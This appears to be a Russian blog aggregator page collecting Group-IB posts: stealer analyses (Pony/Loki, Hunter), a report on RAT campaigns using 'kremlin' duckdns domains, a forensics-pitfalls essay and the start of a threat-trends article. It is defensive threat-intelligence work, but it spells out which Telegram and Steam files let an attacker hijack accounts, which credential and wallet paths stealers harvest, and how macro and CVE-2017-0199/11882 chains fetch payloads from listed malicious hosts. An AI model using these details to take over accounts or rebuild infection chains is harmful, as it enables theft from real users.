Результат работы парсера представлен ниже. Парсер успешно снял шифрование, произвел декомпрессию и нашел похищенные данные. Следует отметить, что у каждого модуля есть несколько типов представления данных, в зависимости от найденной ботом информации. В нашем примере бот похитил данные Outlook и записал их с типом 7. На первый запрос сервер ответил боту, а остальные коммуникации не несли полезной информации.

В заключение давайте сравним исследованные data stealer'ы Pony и Loki и подведем итог. Список атакуемых приложений и у Pony, и у Loki примерно одинаков, но функционал Loki, особенно в новых версиях, шире, чем у Pony. Pony защищает все передаваемые данные в несколько уровней, что не дает определить без специального инструмента, какие именно данные похитил бот. Loki, в свою очередь, передает все данные в открытом виде, но без знания структуры запросов разобрать эти данные тоже довольно сложно.

Надеемся, эти две статьи помогли разобраться, какую опасность несут данные data stealerы и как можно упростить реагирование на инциденты с помощью реализованных нами инструментов.

Подробнее..

Категории: Информационная безопасность , It-компании , Реверс-инжиниринг , Исследования и прогнозы в it , Cybersecurity , Блог компании group-ib , Впо , Компьютерная безопасность , Компьютерная криминалистика , Стилер , Анализ вредоносов , Cybercrime , Data stealer

Особенности киберохоты как Hunter Stealer пытался угнать Telegram-канал База

08.02.2021 16:12:50 |

Автор: admin

С ноября 2020 года участились случаи похищения аккаунтов у популярных Telegram-каналов. Недавно эксперты CERT-GIB установили тип вредоносной программы, с помощью которой хакеры пытались угнать учетку у Никиты Могутина, сооснователяпопулярного Telegram-канала База (320 тысяч подписчиков). В той атаке использовался стилер Hunter, который Могутину прислали под видом рекламы образовательной платформы. Сам стилер нацелен на устройства под управлением ОС Windows, поэтому атакующие так настойчиво просили журналиста открыть архив на рабочем компьютере, а не с iPhone, чего он и правильно делать не стал. Hunter "умеет" автоматически собирать учетные записи на зараженном компьютере, затем отсылает их злоумышленнику и раньше его, к примеру, часто использовали для кражи учетных данных у игроков GTA. Никита Карпов, младший вирусный аналитик CERT-GIB, провел анализ вредоносного файла и рассказал об особенностях киберохоты на популярные Telegram-каналы .

Кейс Базы

Стилер написан на C++ и рассылается владельцам каналов под видом предложения рекламы. Например, экземпляр, разбираемый в этой статье, маскировался под рекламу от GeekBrains.

Данный стилер продается на нескольких форумах и активно рекламируется самим продавцом.

Функционал

Функционал стилера реализован в методах, представленных ниже:

В процессе работы каждого метода похищенные данные записываются во временный файл со случайными именем и расширением:

Полученные временные файлы помещаются в архив внутри памяти процесса и затем удаляются.

Discord

Для похищения сессии Discord стилер ищет папку \discord\Local Storage\leveldb\ и копирует содержимое каждого файла во временный файл.

В архиве файлы записываются в папку с названием приложения и сохраняют изначальное имя файла Application\File.name.

Для примера была создана папка \discord\Local Storage\leveldb\ с файлом T.token.

Скриншот рабочего пространства

Для получения длины и ширины экрана используется win API GetSystemMetrics(). GetDC(0) используется, чтобы получить handle всего экрана, и с помощью CreateCompatibleBitmap() создается bitmap-объект, который сохраняется в файл Desktop.png.

Сбор файлов

Стилер получает путь USERPROFILE = C:\Users\USERNAME и собирает все файлы с расширениями из списка:

.txt
.rdp
.docx
.doc
.cpp
.h
.hpp
.lua (скрипты для GTA SAMP)

Steam

Для стилера интересны файлы с расширением .ssfn в папке Software\Valve\Steam\ssfn и все файлы из папки Steam/config/.

Для обхода защиты Steam Guard и доступа к аккаунту необходимо, чтобы пароль был сохранен в Steam-клиенте (галочка Запомнить пароль). Также нужны файлы с компьютера жертвы, которые собирает стилер:

файл с расширением .ssfn
config.vdf
loginusers.vdf
SteamAppData.vdf

Стилер проверяет наличие Telegram среди процессов и получает расположение исполняемого файла "Telegram.exe". Далее программа проверяет, есть ли passcode в папке key_datas, и, если он установлен стилер начинает похищать данные других приложений. Если же Telegram не защищен passcodeом, то стилер похищает из папки \tdata\ файл, начинающийся с D877F783D5D3EF8C (в конце может быть любой символ), и файл, находящийся в \tdata\ D877F783D5D3EF8C и начинающийся с map (в конце может быть любой символ). Этих двух файлов будет достаточно для похищения сессии Telegram.

GTA SAMP

Данный стилер изначально ориентирован на игроков в GTA SAMP и похищение их аккаунтов. Об этом говорят файлы, собираемые с компьютера жертвы (скрипты, которые могут относиться к игре) и файлы, собираемые из \Documents\GTA San Andreas User Files\SAMP\. Для стилера интересны следующие файлы:

USERDATA.DAT хранит информацию о серверах, записывается в SAMP\servers.fav
chatlog.txt записывается в "SAMP\chatlog.txt"

Браузеры

Учетные данные пользователей браузера Mozilla Firefox стилер похищает из файла logins.json, который ищет в \Mozilla\Firefox\Profiles. Из браузеров Google Chrome и Chromium собираются:

данные о местоположении
учетные данные от аккаунтов на ресурсах
данные для автозаполнения форм
данные карт
cookies
аккаунты Facebook

Данные криптокошельков

Для всех криптокошельков алгоритм одинаковый:

Расшифровывается путь, связанный с кошельком:
- Atomic \Atomic\Local Storage\leveldb\
- Electrum \Electrum\wallets
- Ethereum \Ethereum\keystore
- Zcash \Zcash\
- Exodus \Exodus\exodus.wallet\

Содержимое всех файлов переносится во временные файлы и помещается в архиве в папку с именем кошелька:

Бот нашел тестовый файл в папке.

И переместил его в архив.

Отчет

После сбора всех пользовательских данных создается файл "readme.txt", содержащий информацию о похищенных данных.

Для всех приложений в отчете отмечается, получилось ли похитить данные.

Но для криптокошельков всегда отмечается -. Это может свидетельствовать о том, что похищенные данные кошельков не отправляются клиенту, а остаются у владельца сервера.

Все собранные файлы помещаются в архив и отправляются на CnC.

Взаимодействие с CnC

Адрес командного центра также находится в зашифрованных строках:

Сетевое взаимодействие происходит через IPv6 или, если он недоступен через IPv4 по протоколу TCP. Для отправки архива с похищенными данными открывается сокет с портом 0x8AE = 2222.

В виде админ-панели выступает Telegram-бот, который находится на VDS (Virtual Dedicated Server). Похищенные данные изначально попадают к владельцу сервера, а затем отправляются клиенту через Telegram-бота.

В дампе трафика, полученного из отчета модуля THF Polygon, видим передачу архива.

Шифрование

Алгоритм шифрования, используемый для защиты строк:

На вход функции дешифровки подаются три параметра:
- XOR-константа для данного слова
- константа для инициализации KSA (Key Scheduling Algorithm)
- длина строки
Для генерации ключа используются два последовательных KSA. Первый ключ генерируется по длине нужной строки из константы и ключа размером 32 байта, который генерируется алгоритмом MurMurHash2 по 4 байта. Второй получает результат работы первого и еще один сгенерированный через MurMurHash2 ключ.
Для каждого символа ключа, полученного из второго KSA, выполняется операция XOR с константным значением.

Реализация алгоритма MurMurHash2

Противодействие анализу

Для противодействия анализу используются следующие методы:

шифрование строк, разобранное выше
определение наличия отладки через win API-вызов IsDebuggerPresent()

Продавец и разработчик

В объявлениях на форумах продавец Hunter указывает свой контакт в Telegram как @NoFex228. К этому аккаунту привязан профиль Александра ХХ. во ВКонтакте, где обнаружено несколько постов, связанных с различными стилерами и продажей аккаунтов из GTA SAMP. Telegram-аккаунт разработчика указан во всех отчетах бота как @karelli. К нему привязан телефонный номер, связанный со страницей "ВКонтакте" некоего Анатолия ХХ.

Заключение

Хотя Hunter Stealer не отличается ни обширным функционалом, ни серьезным противодействием анализу, вредоносное ПО, похищающее пользовательские данные, способно нанести серьезный ущерб. Опасность такого ВПО в скорости выполнения задач и простом доступе к ценной информации.

Если у владельца Telegram-канала не включен код-пароль приложения, то злоумышленникам не составит труда восстановить сессию и сменить владельца канала. Так что вывод прост: не открывать подозрительные сообщения, архивы и ссылки и не пользоваться ОС, где стилеры чувствуют себя как дома.

Что делать, если заражение уже произошло?

Пока компьютер инфицирован, устанавливать код-пароль нет смысла, так как вредоносная программа может обладать возможностями клавиатурного шпиона. К работе на этом ПК можно возвращаться только после нейтрализации вредоносного кода.

Для администратора необходимо оперативно завершить активный сеанс на инфицированном компьютере и с помощью другого устройства (например, смартфона) сменить облачный пароль в настройках конфиденциальности, установить код-пароль на всех других доверенных устройствах.

Подробнее..

Категории: Информационная безопасность , It-компании , Реверс-инжиниринг , Исследования и прогнозы в it , Cybersecurity , Блог компании group-ib , Malware , Вредоносы , Анализ кода , Впо , Вредоносное по , Stealer , Стилер , Анализ вредоносов

Kremlin RATs история одной мистификации

15.02.2021 12:06:03 |

Автор: admin

Этим постом мы начинаем двухсерийный технодетектив, в котором встретились "священная триада" доменов: putin, kremlin, crimea и "крысы" программы удаленного доступа (RAT), а также шпион AgentTesla. Началась история с того, что в конце мая 2020 года сетевой граф Group-IB, наша автоматизированная система анализа инфраструктуры, начал детектировать домены с интересным паттерном *kremlin*.duckdns.org, к которым подключались различные вредоносные файлы. Аналитики Group-IB Threat Intelligence & Attribution исследовали эти домены и установили три кампании по распространению различных RAT. Они шли с 2019 года и были нацелены на пользователей из Польши, Турции, Италии, Украины, России, Казахстана, Болгарии, Беларуси, Греции и Чехии. В ходе расследования была установлена связь между обнаруженными доменами и остальной используемой инфраструктурой, а заодно и с конкретным человеком, который стоит за распространением AgentTesla и других вредоносных программ. Итак, обо всем по-порядку.

Кампания лета 2020 года

В начале список доменов, который привлёк наше внимание, выглядел так:

crimea-kremlin.duckdns.org
kremlin-afghan.duckdns.org
kremlin-crimea.duckdns.org
kremlin-turbo.duckdns.org

Данные домены были зарегистрированы на один IP-адрес 79.134.225.43 15 июня 2020 года. По данным сетевого графа Group-IB, только с этими четырьмя доменами связанно порядка 30 различных вредоносных файлов. Судя по документам-приманкам, данная кампания была нацелена на пользователей из Польши, Турции, Италии, Германии и Болгарии.

Связанная инфраструктура

Дальнейший анализ показал, что в основном файлы были залиты в публичные источники, начиная с 25 июня 2020 года. Самые распространенные имена Potwierdzenie transakcji.xls, lem makbuzu, WACKER - 000160847.xls, Potwierdzenie operacji.xls. Один из таких файлов, SHA1: 95A6A416F682A9D254E76EC38ADE01CE241B3366, является документом-приманкой на польском языке и якобы отправлен от Bank Polski.

Изображения документа-приманки SHA1: 95A6A416F682A9D254E76EC38ADE01CE241B3366

Заражение

После активации макросов в этом документе выполняется PS-скрипт для извлечения команды второго этапа из файла lab.jpg, размещенном на удаленном сервере:

Исполняемый PS-скрипт из макроса

В файле lab.jpg содержится обфусцированная в BASE64 команда, которая после декодирования выглядит следующим образом:

Деобфусцированное содержимое lab.jpg

Данный код считывает содержимое файла http://officeservicecorp[.]biz/rnp.txt, в котором и находится полезная нагрузка.

В результате выполнения данной последовательности PS-скриптов загружается и выполняется популярный NetWire RAT, который и производит подключение к своему C&C-серверу kremlin-crimea[.]duckdns.org на порт 3396.

Конфигурация NetWire RAT

Действительно, если мы вставим изначальные домены в граф с шагом 2, то увидим не только эти домены, но и остальную связанную инфраструктуру, которая участвовала во всех стадиях заражения.

Граф с шагом 2. Связанная инфраструктура

Интересно, что те файлы, которые подключались к office-service-tech[.]info, также производили сетевое подключение к ahjuric[.]si. Пример таких файлов SHA1 a3816c37d0fbe26a87d1cc7beff91ce5816039e7. Это документ-приманка на турецком языке с логотипом государственного банка Турции.

Документ-приманка на пользователей Турции. SHA1: a3816c37d0fbe26a87d1cc7beff91ce5816039e7

Данный документ также содержит вредоносный макрос, исполняющий PS-скрипт, который считывает Code.txt с удаленного сервера и запускает цепочку обфусцированных PS-скриптов.

Исполняемый PS-скрипт из макроса

Содержимое ahjuric[.]si/code.txt

Результатом выполнения обфусцированного PS-скрипта будет выполнение еще одного обфусцированного в Base64 скрипта, который в конечном счете и выполнит полезную нагрузку в виде Netwire Rat из office-service-tech[.]info/pld.txt.

Содержимое office-service-tech[.]info/pld.txt

C&C-сервером данного образца является crimea-kremlin.duckdns[.]org.

Также мы обнаружили файлы, которые производят сетевое подключение одновременно к kremlin-turbo.duckdns[.]org и wshsoft[.]company. Название домена относит нас к WSH RAT, который основан на коде Houdini. Один из таких файлов SHA1: b42a3b8c6d53a28a2dc84042d95ce9ca6e09cbcf. Данный образец RAT отправляет на C&C-сервер kremlin-turbo.duckdns[.]org:3397 запросы вида /is-ready, а в качестве UA у него указан WSHRAT.

Сетевые запросы файла SHA1: b42a3b8c6d53a28a2dc84042d95ce9ca6e09cbcf

На этом этапе важно отметить, что часть используемых доменов в этой кампании была зарегистрирована на почту tetragulf@yahoo.com.

Кампания весны 2020 года

Изучая всю остальную связанную инфраструктуру, мы обратили внимание на домены, зарегистрированные на asetonly@yahoo.com. С начала 2020 года на эту почту были зарегистрированы следующие домены:

nitro-malwrhunterteams.com
office-data-labs.com
putin-malwrhunterteams.com
kremlin-malwrhunterteam.info
skidware-malwrhunterteams.com
screw-malwrhunterteams.com
screw-malwrhunterteam.com
office-services-labs.com
office-cloud-reserve.com
office-clean-index.com
office-cleaner-indexes.com

Мы собрали более 130 различных образцов вредоносных программ из различных источников, связанных только с этими доменами. Судя по названиям и содержимому данных образцов, кампания весны 2020 года была нацелена на пользователей из Европы и стран СНГ мы обнаружили документы-приманки на украинском, белорусском, казахском, русском и греческом языках.

Первые файлы данной кампании были загружены на публичные песочницы 23 марта 2020 года. Один из таких файлов Аналз проекту.docx SHA1-d8826efc7c0865c873330a25d805c95c9e64ad05 распространялся в качестве вложения к письму Електронна розсилка_ Змнене замовлення.eml SHA1-7f1fdf605e00323c055341919173a7448e3641fb, которое было загружено на VirusTotal через веб-интерфейс из Украины.

Содержимое письма Електронна розсилка_ Змнене замовлення.eml

Заражение

Содержимое самого документа не вызывает интереса и выглядит как отсканированный лист со счетом. Однако сам документ во время запуска эксплуатирует уязвимость CVE-2017-0199. В результате выполняется команда, которая загружает полезную нагрузку в виде http://office-cloud-reserve[.]com/hydro.exe.

Исполняемый PS-скрипт

Загружаемой полезной нагрузкой является программа-шпион AgentTesla (почитать о ней вы можете тут, тут и тут). В качестве сервера для эксфильтрации данных используется ftp.centredebeautenellycettier[.]fr легитимный домен, который, по всей видимости, был скомпрометирован.

Установка FTP-соединения.

Другой исследуемый файл SHA1- 19324fc16f99a92e737660c4737a41df044ecc54, который называется Байланыс орталытары.img, распространялся в качестве вложения через электронное письмо SHA1- 403c0f9a210f917e88d20d97392d9b1b14cbe310 на казахском языке c темой, относящейся к COVID-19.

Содержимое письма 403c0f9a210f917e88d20d97392d9b1b14cbe310

Данное вложение является .iso-образом и в некоторых случаях называется Байланыс орталытары.img. Файл монтируется в систему как образ, в котором находится лишь один обфусцированный VBS-файл SHA1: fd274f57e59c8ae3e69e0a4eb59a06ee8fd74f91 под названием Денсаулы сатау бойынша анытамалы жне деректер базасы.vbs. Данный файл по сути является загрузчиком, который выполняет обфусцированный PS-код. При его открытии происходит считывание файла http://office-cleaner-indexes[.]com/loud.jpg.

Содержимое сбрасываемого файла SHA1:fd274f57e59c8ae3e69e0a4eb59a06ee8fd74f91

В результате происходит загрузка и выполнение AgentTesla, который также производит эксфильтрацию данных через ftp.centredebeautenellycettier[.]fr.

Другой документ SHA1: c992e0a46185bf0b089b3c4261e4faff15a5bc15 под названием 060520.xls распространялся через письмо на греческом языке, а его содержимое выглядит так же, как и все другие в этой кампании, только на греческом языке. Его полезная нагрузка в виде NanoCore Rat подключается к screw-malwrhunterteams[.]com.

Содержимое документа-приманки 060520.xls

Кампания 2019 года

Продолжая исследовать инфраструктуру, связанную с tetragulf@yahoo.com, мы обнаружили, что в 2019 году на эту почту было зарегистрировано всего четыре домена, два из которых были зарегистрированы в конце февраля и участвовали в одной кампании по распространению вредоносных документов.

Список зарегистрированных доменов (подчеркнутые точно вредоносные):

east-ge.com
mariotkitchens.com
sommernph.com
kingtexs-tvv.com

Первые файлы, связанные с этими доменами, начали загружаться в публичные песочницы 18 июня 2019 года.

Список вредоносных файлов, связанных с кампанией 2019 года

Основная часть из этих файлов представляет собой RTF-документы, эксплуатирующие уязвимость CVE-2017-11882, а другие исполняемую полезную нагрузку. В ходе исследования этой кампании мы обнаружили письма и документы-приманки на украинском, русском, греческом, испанском и чешском языках.

Заражение

Один из первых документов этой кампании распространялся через электронную почту под разными названиями: CNC 0247.doc, ЧПУ 0247.doc SHA1:443c079b24d65d7fd74392b90c0eac4aab67060c.

Содержимое письма SHA1: b6ff3e87ab7d6bd8c7abd3ee30af24b4e3709601

Согласно данным из нашего графа, этот документ устанавливает подключение к http://68.235.38[.]157/ava.hta и kingtexs-tvv[.]com.

Сетевое взаимодействие файла SHA1: 443c079b24d65d7fd74392b90c0eac4aab67060c

Мы заинтересовались этим хостом и обнаружили дополнительные файлы, которые устанавливали сетевое подключение к http://68.235.38[.]157. Одни из таких файлов, Estos son los documentos adjuntos de junio.doc SHA1: 02799b41c97b6205f1999a72cef8b8991d4b8092 и New Order.doc SHA1: 25abf0f75c56516134436c1f836d9db1e770ff30, эксплуатируют уязвимость CVE-2017-11882. Во время запуска они устанавливают подключение к http://68.235.38[.]157/oyii.hta.

Содержимое http://68.235.38[.]157/oyii.hta

Этот файл содержит код на Visual Basic, который выполняет обфусцированную в Base64 PS-команду на загрузку полезной нагрузки из общедоступного файлового хранилища https://m.put[.]re/Qm8He5E4.exe - SHA1: 523c5e0a1c9bc6d28f08500e96319571b57e4ba7 и сохраняет в директорию temp под именем avantfirewall.exe.

Исполняемый PS-скрипт

Загружаемая полезная нагрузка считывает содержимое из https://paste[.]ee/r/rSrae, вследствие чего выполняется Async RAT, который устанавливает подключение к своему C&C-серверу kizzoyi.duckdns[.]org на порт 8808.

Другой документ из данной кампании SHA1-1230acfd1f6f5b13a218ff8658a835997d1f0774 под названием таблиц.doc распространялся через письмо на украинском языке.

Из-за критически опасной уязвимости CVE-2017-11882, позволяющей выполнить вредоносный код без взаимодействия с пользователем, во время запуска этого документа происходит выполнение кода, содержащегося в OLE-объекте wd32PrvSE.wmf.

Ole объекты содержащиеся в SHA1:1230acfd1f6f5b13a218ff8658a835997d1f0774

В результате выполнения кода из OLE-объектов загружается и выполняется Async RAT.

Заключение

На этой ноте мы заканчиваем первую часть исследования. Мы понимаем, что этот детектив должен закончиться чем-то логичным, и в следующей части вы с новыми силами окунетесь в развязку данной истории. Пока же можете изучить наше ежегодное исследование Hi-Tech Crime Trends или взглянуть на наши вакансии.

Бег по граблям 10 уязвимостей компьютерного криминалиста

13.04.2021 12:15:42 |

Автор: admin

Не кажется ли вам странным, что на фоне глобальной цифровизации, развития аппаратных и программных решений, пик популярности форензики как науки уже прошел, а интерес к ней угасает с каждым днем? Старейшие производители и поставщики решений для криминалистических исследований такие, как Guidance Software (Encase Forensics) и AccessData (Forensic Toolkit), "золотой эталон" для экспертов, детективов, следователей, судей и адвокатов, поглощены третьими компаниями. Ряд ведущих специалистов и авторов бестселлеров в области форензики по тем или иным причинам покинули эту область.... а оставшиеся специалисты частенько наступают на одни и те же грабли. Вот об этих "граблях", проблемах и "болевых точках" криминалистов решил порассуждать Игорь Михайлов, ведущий специалист Лаборатории компьютерной криминалистики Group-IB.

1. Ставить на быструю форензику

В мире компьютерных криминалистов довольно долго считались нерушимыми требования о неизменности цифровых доказательств эти принципы были описаны еще в 2000 году в документе "ACPO Good Practice Guide for Digital Evidence".

Однако современные реалии сделали эти требования в ряде случаев невыполнимыми. Например, эксперт ужене может извлечь данные из топового смартфона, не включив его. Это необходимо не только для того, чтобы создать дамп памяти устройства (что теоретически можно было бы сделать, выпаяв микросхему памяти), но и для того, чтобы извлечь ключи шифрования, без которых нельзя получить доступ к извлеченной информации. Нельзя получить прямой доступ к данным на некоторых типах накопителей, так как на них используется шифрование данных, о котором пользователь часто даже не подозревает.

Кроме того, следовать этим принципам невозможно при доступе к работающим компьютерам, серверам и информации, находящейся в оперативной памяти и телекоммуникационных сетях. Все это в совокупности с применением форензики в расследовании инцидентов (иногда ее почему-то называют быстрой форензикой) привело к тому, что требования о неизменности цифровых доказательств стали носить не обязательный, а рекомендательный характер.

Другой важный момент в том, что некоторые криминалисты отказались использовать при исследовании специальные приемы для защиты носителей информации: аппаратные средства, нужные для неизменности исследуемых доказательств, слишком дорогие.

Несмотря на риск того, что владелец мобильного устройства отдаст удаленную команду сбросить устройство до заводских настроек и информация на нем будет потеряна, криминалисты как правило не применяют дополнительные средства защиты мобильных устройств: мешки, боксы или сетки Фарадея (изделия, блокирующие электромагнитное излучение в радиодиапазоне).

Наиболее распространенный прием защиты информации, используемый при изъятии мобильного устройства перевести его в режим полета или выключить. Однако в некоторых случаях это не защищает информацию на устройстве от изменения, а иногда и от уничтожения. Кроме того, ряд производителей, например, Apple, экспериментируют с взаимодействием выключенного устройства с другими устройствами подсистемы Apple по протоколу Bluetooth. В перспективе это может позволить владельцу устройства взаимодействовать даже с выключенным аппаратом.

Наши рекомендации:

Соблюдать процедуры криминалистически правильного изъятия носителей информации, использовать клетки Фарадея.

2. Слепо доверять результатам работы программ-комбайнов

Эволюция программ для форензики привела к появлению комбайнов, которые могут обрабатывать огромное количество различных источников данных и выдавать результаты их анализа по сотням криминалистических артефактов или критериев.

В совокупности с большим потоком цифровых носителей, поступающих к криминалистам, это привело к такому явлению, как Кнопочная форензика (Push Button Forensics). Исследователь обрабатывает поступающие к нему носители информации этой программой и передает сгенерированные ею отчеты заказчику, не анализируя результаты и не проверяя их на достоверность и полноту. Увы, подобная работа быстро приводит к деградации специалистов в профессиональном плане. У них пропадает понимание того, почему получен именно такой результат, а не иной.

Наши рекомендации:

Критически подходить к результатам, получаемым с помощью программ-комбайнов. Дважды и трижды, в том числе в ручном режиме, проверять полученные от них данные они могут быть критически важны для расследования.

3.Неэффективно использовать программные и аппаратные средства

Несмотря на прогресс в создании криминалистических программ, универсальной утилиты, с помощью которой можно было бы решать все задачи форензики, так и не появилось. Это приводит к тому, что в арсенале криминалиста всегда есть несколько программ для форензики как платных, так и бесплатных. Обзор я делал тут - посмотрите, может быть пригодится. Как правило, наиболее эффективны дорогие решения. Получается следующая ситуация: пока криминалист решает одну задачу с помощью одного продукта, другиележат на полке и не используются. Учитывая, что стоимость использования подобных решений достигает нескольких тысяч долларов в год, их нерациональное использование накладно для коммерческих организаций.

К сожалению, политика добралась и до форензики. Часть криминалистических технологий и оборудования и раньше не поставлялась западными разработчиками в Россию. В этом году наибольший резонанс вызвало то, что израильская компания Cellebrite отказалась поставлять оборудование для криминалистического исследования мобильных устройств. Компания объяснила свое решение тем, что это оборудование якобы использовалось для попыток (попыток!) взлома устройств, изъятых у оппозиционера Любови Соболь. Между тем доподлинно известно, что взломать эти устройства с помощью оборудования Cellebrite невозможно у него просто нет такого функционала.

Наши рекомендации:

Постарайтесь научиться работать с минимальным набором инструментов, но использовать его максимально эффективно.

4. Не перепроверять получаемые результаты и не относиться к ним критически

Распространение кнопочной форензики привело к тому, что у части криминалистов перестало работать критическое мышление. Например, источник информации (образ жесткого диска или данные, извлеченные из смартфона) обработали с помощью нескольких программ. При этом исследователь получил три разных результата. Насколько они достоверны? Обусловлено ли различие тем, что одна программа удаляет дубли в найденной информации, а другая нет, или тем, что одна программа извлекает дополнительные сведения из других источников (например, журнала транзакций при исследовании базы данных).

Однако часто встречается следующая ситуация: криминалист восстановил удаленный файл, но он не открывается в приложении, предназначенном для подобных типов файлов. Вместо анализа того, почему это произошло (возможно, часть файла уже невосстановимо перезатерта данными другого файла), криминалист пробует восстановить этот файл другими программами.

Наши рекомендации:

Все время повышайте свой уровень, чтобы понимать, как работают программы, как и откуда они берут данные, на основе которых формируют результаты.

5. Плохо подготовиться к изъятию накопителей информации

Кроме систем экстренного уничтожения данных, современные электронные устройства зачастую имеют встроенные системы защиты, которые ограничивают доступ к пользовательским данным. Поэтому при попытках получить доступ к таким данным часто выясняется, что они находятся в зашифрованном виде, в защищенном контейнере, на спрятанном носителе (например, флешке или карте памяти) или в недоступном облачном хранилище.

Поэтому перед изъятием носителей информации надо определить, на каких носителях может находиться нужная информация, как они защищены, где находятся физически, какие пароли и иные средства защиты использует человек, у которого они находятся, и т.п.

Наши рекомендации:

Необходимо тщательно готовиться к мероприятиям по изъятию носителей информации и продумывать действия, которые смогут нейтрализовать контрмеры владельца информации.

6. Использовать распознавание текста в графических файлах и видеофайлах

В настоящее время нет ни одного форензик-продукта, который бы хорошо распознавал тексты в графических файлах и видеофайлах. Поэтому криминалист всегда стоит перед выбором: использовать интегрированный функционал по распознаванию текстов в форензик-продуктах и допускать, что часть текстов останется нераспознанной или распознанной некорректно, или применять сторонние средства (например, ABBYY). Как правило, это приводит к тому, что часть текстовых данных, находящихся на исследуемых носителях в виде графических файлов и видеофайлов, упускается из анализа при поиске по ключевым словам.

7. Следовать популярным тенденциям вопреки здравому смыслу

При проведении расследований хорошо зарекомендовали себя аналитические системы по поиску взаимосвязей. Их применение требует больших объёмов исходных данных и относительно небольших дата-центров для их хранения. Однако практически все производители форензик-продуктов зачем-то реализовали подобный функционал у себя. Причем изначально форензик-продукты не предназначены для обработки огромных массивов исходных данных, а на небольших объёмах исходных данных получить приемлемый результат крайне сложно. Кроме того, форензик-продукты часто сохраняют результаты исследований в проприетарных, несовместимых форматах, что усложняет обмен полученными данными и их использование в сторонних аналитических программах.

8. Пытаться делать все одним специалистом

Напомню, что есть следующие виды компьютерно-технической экспертизы:

аппаратно-компьютерная;
программно-компьютерная;
информационно-компьютерная;
компьютерно-сетевая.

При этом сотрудники, отвечающие за экспертизы и исследования, должны разбираться в аппаратном обеспечении компьютерных средств и систем, криптографии, сетевых технологиях, уметь исследовать базы данных, мобильные устройства и оперативную память различных устройств. Еще им нужны навыки восстановления данных, криминалистического анализа различных операционных систем и приложений, навыки в программировании и обратной разработке программных средств и так далее.

Один человек хоть разбейся в лепешку не может обладать всеми этими компетенциями. Поэтому специалист, занимающийся форензикой, может эффективно решать задачи только в определенной ее области. Для полного охвата всех задач форензики нужна команда, в которой каждый участник имеет узкую специализацию в определенной области форензики и отвечает за соответствующее направление.

Наши рекомендации:

Как сказано выше, необходимо специализироваться в какой-то определенной области компьютерной криминалистики. Оцените, что вам больше всего подходит и развивайтесь в этом направлении.

9. Работать без профильного образования и с низким уровнем подготовки

В России специальность компьютерного криминалиста можно получить только в двух вузах. Первый Московский государственный технический университет имени Н.Э. Баумана. Там на кафедре юриспруденции готовят специалистов по судебной компьютерно-технической экспертизе. Второй вуз это ведомственное учреждение, Воронежский институт МВД. Он проводит обучение по специальности Компьютерная безопасность со специализацией Информационно-аналитическая и техническая экспертиза компьютерных систем. Кроме того, на базе этого вуза проходят повышение квалификации сотрудники экспертно-криминалистических подразделений МВД, занимающиеся компьютерными экспертизами.

Так как цифровые технологии развиваются очень быстро, это играет злую шутку с выпускниками данных учебных заведений, тратящих годы на обучение. Зачастую по окончании вуза им требуется не просто небольшая актуализация полученных знаний, а кардинальное переобучение.

Еще одна проблема отсутствие в вузах преподавателей, которые бы, c одной стороны, занимались практической деятельностью, связанной с форензикой, а с другой стороны обучением. Это необходимо, чтобы преподаватель понимал, чему и как учить студентов, актуализировал учебные материалы под существующие тренды в форензике.

Еще плохо, что книг на русском по форензике довольно мало. Информация в существующих изданиях относится к началу или середине нулевых годов и в современных реалиях безнадежно устарела. К тому же в некоторых переводах есть ошибки и неточности.

Как правило, актуальные книги и статьи по форензике можно найти только на английском языке. К сожалению, многие не владеют английским на уровне, нужном для чтения и понимания технической литературы.

Наши рекомендации:

Пройдите учебные курсы на базе образовательных учреждений. Повысить квалификацию можно на курсах, проводимых HackerU, Академией информационных систем, учебными центрами Информзащита и Специалист, Group-IB и Kaspersky.

Учите язык. Благо технический английский довольно прост. С его помощью можно быть в курсе последних тенденций и новостей в компьютерной криминалистике. Вот, например, полезная подборка книг, которую должен прочитать любой компьютерный криминалист.

10. Остановиться в своем развитии, пеняя на необъективный рынок труда

Есть довольно затертая, но меткая цитата Льюиса Кэрролла, которая годится и для нашей темы: в форензике, чтобы оставаться компетентным, надо бежать изо всех сил. А чтобы развиваться в ней, надо бежать еще быстрее. Таковы наши реалии.

Однако многие действующие криминалисты не готовы тратить деньги и прикладывать огромные усилия, чтобы следить за всеми изменениями, поддерживать свои знания в актуальном состоянии и развивать их.

На рынке труда складывается уникальная ситуация. Работодатели предъявляют высокие требования к компетенциям криминалистов, но обычно не готовы адекватно оценивать их работу. Например, от специалиста в области форензики, требуется знание основ обратной разработки (реверса). При этом специалисту в области реверса готовы платить на 20-35% больше, чем специалисту в области форензики (причем требования к реверс-инженеру в целом значительно ниже). Еще печальнее ситуация выглядит, если сравнить уровень зарплат криминалиста и программиста и требования к ним. Криминалисту приходится тратить гораздо больше усилий, чтобы получать столько же или меньше, чем специалисты из смежных областей. Подобные условия приводят к оттоку специалистов из форензики в другие области, связанные с информационными технологиями, программированием и информационной безопасностью.

Наши рекомендации:

Покажите работодателю, насколько важна ваша работа и насколько вы ценный специалист.

Вывод? Мне кажется, он достаточно простой: форензика переживает непростые времена. Для того, чтобы она могла и дальше защищать интересы пользователей и бизнеса, нужно переосмыслить место этой научной дисциплины в сегодняшнем мире или трансформировать ее в соответствии с современными тенденциями и потребностями общества.

Подробнее..

Категории: Информационная безопасность , It-компании , Исследования и прогнозы в it , Cybersecurity , Ошибки , Блог компании group-ib , Компьютерная безопасность , Компьютерная криминалистика , Cybercriminalistics , Форензика , Forensics , Computer security , Criminalistics , Инфомационная безопасность

Анализ актуальных киберугроз 2021

07.05.2021 16:08:17 |

Автор: admin

Коллеги всем привет, меня зовут Александр Дворянский и я директор по стратегическим коммуникациям Infosecurity a Softline company, и сегодня мы будем говорить про актуальные сейчас тренды в области кибербезопасности, причем как со стороны защищающихся так и с позиции атакующих. Все предыдущие года я готовил аналогичный текст в начале года и рассказывал о трендах развития кибербезопасности на 2018 г., 2019 г., 2020 г. Однако, сегодня я отойду от этого правила, так как если с позиции защищающихся изменений не так много, а вот инструментарий атакующих очень быстро меняется.

Итак поехали

С точки зрения общих трендов

1. Облачный и гибридный SOC в противовес on-premise

То время, когда иметь SOC было просто модно, уже прошло. Спрос на услуги коммерческих SOC растет прямо пропорционально повышению ИБ-зрелости российского бизнеса. Как следствие, повышается число сервисных провайдеров, оказывающих услуги по подключению и сопровождению Центров мониторинга и реагирования на инциденты. Однако основываясь на статистике по проектам текущего года пользователи все больше и больше выбирают облачный сервис или гибридную схему на базе существующего у заказчика SIEM-решения. Тренд перехода к облачным сервисам SOC из года в год продолжает набирать обороты.

